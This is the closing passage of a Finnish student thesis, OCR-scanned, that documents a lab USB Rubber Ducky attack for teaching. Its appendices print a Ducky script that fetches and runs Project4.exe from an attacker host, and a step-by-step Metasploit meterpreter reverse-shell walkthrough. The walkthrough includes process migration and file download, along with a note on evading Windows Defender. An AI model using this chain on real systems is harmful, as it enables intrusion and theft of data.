tietoturvapalveluiden nakdkulmasta, etta miten ne reagoivat kyseisiin hydkkayksiin.
Kaytdanndssa tyohon lisattadisiin uhrin ymparistoon esimerkiksi palomuureja ja eri an-
tivirusohjelmia. Samalla ymparistoa valvoo toisesta verkosta tietoturvayritys, joka
reagoi USB mediatallennushyodkkaykseen. Hyokkaysta tutkittaisiin, ettd miten hyok-
kays estettaisiin ennen kuin se ehtii alkamaan ja milla tavalla hyokkays pitaisi toteut-
taa, jotta se onnistuisi pdasemaan tietoturvapalveluiden ohitse tai antamaan hyok-

kadjalle edes hetken aikaa toimimaan huomaamattomana.

5 Pohdinta

Opinnadytetyon tarkoitus oli kdsitellda USB mediatallennushyokkayksia, toteuttaa itse
kdytannossa hyokkays ja onnistua siing, jotta tyota voidaan kayttaa tarvittaessa
opetustarkoituksessa. Opinndytetyd onnistui ndiden osalta ja toimeksiantaja vahvisti
toteutuksen osalta onnistumisen. Koko tyo toi paljon uutta opittavaa alusta loppuun
ja aikaa sai kulumaan uuden asian opiskelussa paljon. Esimerkiksi USB:n toiminta ei
ollut ennestdan tuttua, josta |6ytyi paljon ja laajasti tietoa. USB:n toiminnassa oltaisi
paasty syvemmalle halutessa, mutta se ei olisi ollut endan olennaista opinnaytetyon

aiheen kannalta.

Hyokkayksen suunnittelu ja toteutus tuntui aluksi yksinkertaiselle, etta hyokkayksen
olisi toteuttanut ensimmaisen suunnitelman mukaan. Suunnitelmaan ja toteutukseen
vaikutti toimeksiantajan vaatima Mitren ATT&CK malli, minkd mukaan hyokkays
pitdisi toteuttaa ja rinnastaa malli omaan toteutukseen. ATT&CK malli havainnolisti
hyvin, etta mita vaiheitta hyokkays sisaltda ja milla eri keinoin vaiheet toteutetaan

oikeassa elamassa.

Toteutusvaiheessa aikaa meni paljon toteutusympariston pystyttamisessa.
Palvelimien asentamiset ja reitittimien konfiguroinnit veivat aikaa huomattavasti,
noin puolet toteutuksen ajasta. Omasta koulutuksesta ja kaydyista kursseista oli
hyotya, silld jarjestelmien/laitteiden kayttoonotto olisi ollut huomattavasti

vaikeampaa ilman aikaisempaa osaamista. Ty6hon padsi tuomaan omaa osaamista
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verkotuksesta ja palvelimien kaytostd, jonka avulla tyolle sai lisdarvoa tekemalla
ymparistosta realistisemman. Hyokkaysta tehdessa ongelmia tuli vastaan, kun
yritettiin ajaa lastia ensimmaista kertaa uhrin tietokoneella. Uhrin tietokoneen
Windows Defender esti ensimmaisen yrityksen kokonaan. Ongelmaan l6ytyi lopulta
ratkaisu ja se ratkaistiin muokkaamalla lastia enkooderin ja Visual Studion avulla.
Tama auttoi lastista tekemadan huomaamattoman ja lapaisemaan Windows Defender
ohjelman. Vaikka lopulta Windows Defender huomaa lastin oli hydkkdys onnistunut
taydellisesti tehtavdnannon mukaan eli toteutusta pitdisi pystya kayttamaan

opetustarkoituksessa.

Opinndytetyo aihe painottui paljon kyberpuolelle, joten tyosta sai henkilokohtaisesti
hyvin osaamista/tietoa kyberpuolen asioista. Tydssa oppi paljon, ja samalla jai paljon
opittavaa kyberhyokkayksista ja myds USB:n toiminnasta kaytannossa. Tyolle saa
mahdollisesti jatkoaiheita, joita pohdittiin jo aiemmin ja tyota voidaan kayttaa

CYBERDI-projektissa.
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Liitteet

Liite 1. Ducky Skripti

DELAY 750

GUIr

DELAY 1000
STRING powershell
DELAY 300

ENTER

DELAY 750

STRING Sdown = New-Object System.Net.WebClient; Surl = 'http://ns1.hacker-
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men.local/Project4.exe'; Sfile = 'Project4.exe'; Sdown.DownloadFile(Surl,$file); Sexec
= New-Object -com shell.application; Sexec.shellexecute(Sfile);

DELAY 200
ENTER

Liite 2. Kayttéohjeet toteutukselle

Virtuaalikone / kdyttdjatunnus

Minimi laitevaatimukset

Vyos - Devio / kayttaja: vyos salsana: vyos

CPU: 1 RAM: 512MB Tallennustila: 2GB

Vyos - Internet / kayttaja: vyos salsana:
VyOs

CPU: 1 RAM: 512MB Tallennustila: 2GB

Vyos - Hyokkadja / kayttdja: vyos salsana:
Vyos

CPU: 1 RAM: 512MB Tallennustila: 2GB

Devio - Windows Server 2016 / kayttéja:
admin salasana: Root66

CPU: 1 RAM: 512MB Tallennustila: 32GB

Devio - Windows 10 Workstation / kéyt-
tdja: make/arska salasana: Root6666

CPU: 1 RAM: 2048MB Tallennustila:
20GB

Internet - DNS - CentOS7 / kayttaja: root
salasana: root66

CPU: 1 RAM: 512MB Tallennustila: 10GB

Hyo6kkaaja - Kali Linux / kadyttaja: kali sala-
sana: kali

CPU: 1 RAM: 1024MB Tallennustila:
20GB

Hyokkasja - WEB/DNS server - CentOS7 - /
kayttaja: root salasana: root66

CPU: 1 RAM: 512MB Tallennustila: 10GB

Kayttoohje step-by-step

Lisdohje

1. Importtaa virtuaalikoneet Appli-
ance.ova tiedosto VirtualBoxiin

2. Aukaise kaikki virtuaalikoneet ja lue vir-
tuaalikoneiden Descriptionit ennen avaa-
mista

Bootaessa hyokkadjan Centos7 valitse
keskimmainen vaihtoehto (kuva loytyy
alhaalta numerolla 2.)




3. Tarkista Vyos reitittimilta (kirjautumalla
kayttaja: vyos ja salanasana: vyos), etta
rajapinnoissa ovat IP-osoitteet ja staatti-
set reititykset kunnossa komennolla:
show interfaces

Katso oikeat osoitteet verkkokuvasta
myds muille laitteille ja rajapinnoille.
Verkkokuva |6ytyy opinndytetyosta ku-
vio 6

(3.) Jos IP-osoitteita ei ole, eika staattisia
reittejd, kopio Vyos liitteista 3 - 5 konfigu-
raatiot omille reitittimille

4. Kirjaudu Devio - WS1 kayttajalla make
tai arska, aukaise CMD ja testaa yhteys
hyokkaajan palvelimelle: ping ns1.hacker-
men.local tai 172.16.0.100.

Devio - Windows Server pitaa olla auki
ja tarkista tarvittaessa Server Manager
ohjelmasta, etta sieltd 16ytyy kayttajat:
arska ja make. Kirjautuminen: Admini-
strator, Root66

5. Tarkista, etta lasti Project4.exe l16ytyy
hyokkaajaan CentOS7 palvelimelta kansi-
osta syottamalla: Is /var/www/html/

Lastilla mahdollistetaan yhteys hyokkaa-
jan ja Devion valille (lastin maaritykset:
LHOST 172.16.0.10 LPORT 4444
PAYLOAD windows/meterpreter/re-
verse_tcp_dns)

6. Aukaise Kali Linux ja kirjaudu sisaan,
kayttaja: kali, salasana: kali

Kali Linux tietokoneen Home kansiosta
[6ytyy varmuuden vuoksi lasti: Pro-
jectd.exe ja Powershell skripti, mika aje-
taan Devion WS1 (kuva alhaalla merkat-
tuna 6.)

7. Aukaise Kali Linuxissa terminal, syota:
"msfconsole" ja paina enter.

Kuva numero 7

8. Msfconsolen auettua, kdynnistd mo-
duuli kommennolla: "use ex-
ploit/multi/handler".

9. Moduulin auettua syota yksitellen
komennot: "set PAYLOAD windows/me-
terpreter/reverse_tcp_dns" "set LHOST
172.16.0.10" ja "set LPORT 4444",

10. Aloita kuuntelemaan lastia komen-
nolla: "exploit".

11. Aukaise Devio - WS1 virtuaalikone
esille ja aseta Rubber Ducky tietokonee-
seen. Oikea skripti I6ytyy opinndytetyon
liitteista.

Jos virtuaalikone kay hitaalla Rubber
Ducky ehtii liian ajoissa kirjoittamaan
powershellin skriptin, jolloin se kirjoit-
taa ikdan kuin "tyhjaan". Muokkaa
Ducky skripttia tarvittaessa korottamalla
DELAY arvoja (ks. Liitel)

12. Odota hetki, kunnes Devion tietokone
on ladannut ja kdynnistanyt lastin Pro-
jectd.exe hyokkaajan palvelimelta.

13. Siirry Kali Linuxille ja yhteys Devion
tietokoneeseen pitdisi olla auennut. Tar-
kista esim syottamalla: "pwd", joka antaa
nykyisen sijainnin uhrin tietokoneessa.

14. Sy6ta: ps | grep 'explorer.exe’ ja ota
yl6s explorer.exe:n PID arvo ja syota se
seuraavassa stepissa.

15. Sy6ta: migrate "PID arvo".
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16. Valmis! Kirjoita konsolissa "help", joka | Esim. screenshot tallentaa Kalille Devion

nayttda, mitd uhrin tietokoneen kanssa

voidaan tehda.

koneen tyopoydasta kuvan ja download
lataa halutun tiedoston Kalille

CentD3 Linu
CentDS Linu

CentD3 Linux

a 1 k

to edit

& Documents
Music
Pictures
=] \ideos
nads
NETWORK
D Browse Network

b_64) 7
55a4943t

for a command prompt.

kali - Filz Manager

® &

Documents Downloads

Public

shellSkrip
- Uhrin
tietok:
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] kali@kali; ~

Terminal Emulator
Use the command line

rite  Aacuons caie view  Help

:~$ msfconsolel]

Liite 3. Devio — Vyos konfiguraatiot

interfaces {
ethernet ethO {
address 10.0.100.1/24
description to-AD
hw-id 08:00:27:1e:1c:09
}
ethernet eth1 {
address 10.10.10.1/24
description to-WS
hw-id 08:00:27:d4:5¢:86
}
ethernet eth2 {
address 10.0.0.1/30
description to-WAN
hw-id 08:00:27:fc:e2:81

}
ethernet eth3 {

hw-id 08:00:27:20:f2:13



}

protocols {
static {
route 0.0.0.0/0 {
next-hop 10.0.0.2 {
}
}
}
}

service {
ssh {
port 22
}
}
system {
config-management {
commit-revisions 20
}
console {
device ttySO {
speed 9600
}
}
host-name vyos
ntp {
}

time-zone UTC

Liite 4. Internet — Vyos konfiguraatiot

interfaces {

ethernet ethO {
address 192.168.10.1/24
duplex auto
hw-id 08:00:27:e9:f2:a4
smp_affinity auto
speed auto

}

ethernet eth1 {
hw-id 08:00:27:2b:9d:0f

}

ethernet eth4 {
address 10.0.0.6/30
description to-Hyokkaaja
duplex auto



hw-id 08:00:27:82:37:17
smp_affinity auto
speed auto

}

ethernet eth5 {
address 10.0.0.2/30
description to-Devio
duplex auto
hw-id 08:00:27:59:9d:1c
smp_affinity auto
speed auto

}

loopback lo {

}

}

protocols {
static {
route 10.0.100.0/24 {
next-hop 10.0.0.1 {

}

}
route 10.10.10.0/24 {

next-hop 10.0.0.1 {
}

}
route 172.16.0.0/24 {

next-hop 10.0.0.5 {
}
}
}
}

service {
ssh {
port 22

}
}
system {
config-management {
commit-revisions 100

}

console {
}
host-name vyos
login {
user vyos {
authentication {
encrypted-password * %k sk koo koxok ok ok
plaintext-password * %k sk kst skokok sk ko

}



level admin
}
}
ntp {
server 0.pool.ntp.org {
}
server 1.pool.ntp.org {
}
server 2.pool.ntp.org {
}
}
package {
auto-sync 1
repository community {
components main
distribution helium
password %K 3K K ok sk ok sk sk sk sk sk sk sk sk sk k
url http://packages.vyos.net/vyos
username ""
}
}
syslog {
global {
facility all {
level notice
}
facility protocols {
level debug
}
}
}

time-zone UTC
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Liite 5. Hyokkaaja — Vyos konfiguraatiot

interfaces {

ethernet ethO {
address 10.0.0.5/30
duplex auto
hw-id 08:00:27:b8:28:32
smp_affinity auto
speed auto

}

ethernet ethl {
address 172.16.0.1/24
duplex auto
hw-id 08:00:27:db:0b:64
smp_affinity auto
speed auto

}

ethernet eth2 {
duplex auto
hw-id 08:00:27:27:8a:2b
smp_affinity auto
speed auto

}

ethernet eth3 {
hw-id 08:00:27:70:3e:4d

}
}

protocols {
static {
route 0.0.0.0/0 {
next-hop 10.0.0.6 {
}
}
}
}

service {
ssh {
port 22
}
}
system {
config-management {
commit-revisions 20
}
console {
device ttySO {
speed 9600

}
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}

host-name vyos

ntp {
}

time-zone UTC
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